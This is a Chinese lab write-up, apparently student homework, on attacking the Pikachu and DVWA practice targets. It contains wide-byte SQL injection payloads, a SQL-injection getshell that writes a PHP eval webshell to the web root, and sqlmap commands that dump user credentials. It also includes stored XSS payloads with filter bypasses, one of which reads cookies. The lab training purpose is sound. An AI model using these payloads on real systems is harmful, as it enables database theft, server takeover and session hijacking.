08-宽字节注入、GetShell、SQLMap、XSS存储型练习

bokexiLu / 2024-12-19 / 原文

1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;

​ 由于网站的过滤,调用其addslashes( ) 函数在单引号之前添加反斜线 \ 进行转义,我们需要让 \ 无效实现单引号的逃逸。

​ 解决方法:因为addslashes( )函数使用时会对输入内容进行URL编码(即添加的 \ 也会编码成%5c)在加上网站本身就设置了GBK编码方式,所以可以利用GBK编码方式(即汉字编码范围内两个字节都会被重新编码为一个汉字)将 \ 转换成汉字实现单引号的逃逸。例:%df%5c 会转换成汉字"運"。

  • 库名(pakachu)

    a.对pikachu靶场的宽字节注入模块进行抓包

    b.将包发送到repeater模块,修改请求正文中是name参数为1%df' union all select 1,database()#来实现对库名的获取(采用联合注入时要注意字段数,这里的字段数为2)

    image-20241025132825771

  • 表名(httpinfo,member,message,users,xssblind)

    1%df' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

    image-20241025133857894

2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;

  • 调用select into outfile命令通过sql注入上传带有一句话木马的shell脚本文件

    ' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell666.php
    
    • 上传成功,且能直接使用系统命令查看返回值

    image-20241025140232834

    • 用蚁剑链接

      image-20241025141225084

    • 成功GetShell

      image-20241025141245529

3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;

  • 这里会调用 -r 选项(即上传指定文本文件),先通过抓包获取到SQL注入模块的请求数据包,然后将其写入1.txt文本文件中,最后保存到sqlmap目录下。

    image-20241025143143254

    • 获取库python sqlmap.py -r 1.txt --batch --dbs

      image-20241025143712834

    • 获取表python sqlmap.py -r 1.txt --batch -D dvwa --tables

      image-20241025143830198

    • 获取列python sqlmap.py -r 1.txt --batch -D dvwa -T users --column

      image-20241025144250588

    • 获取内容python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump

      image-20241025144926072

4、完成DVWA靶场存储型XSS的漏洞练习。

  • Low

    <script>alert(1)</script>
    

    image-20241025151935814

  • Medium

    网站采用了对关键字script替换为空的过滤,可以通过大小写绕过

    <sCript>alert(1)</script>
    
    • 控制台(F12)修改输入框的长度限制

      image-20241025152702575

    • 实现注入

      image-20241025153033597

  • High

    网站采用了对关键字s、c、r、i、p、t、字母进行正则表达式过滤,避免出现以上关键字组合,可以采用img标签中的图片加载失败事件,进行注入(同Medium等级一样,需要先修改输入框长度限制)

    <img src=## onerror=alert(document.cookie)>
    

    image-20241025154404137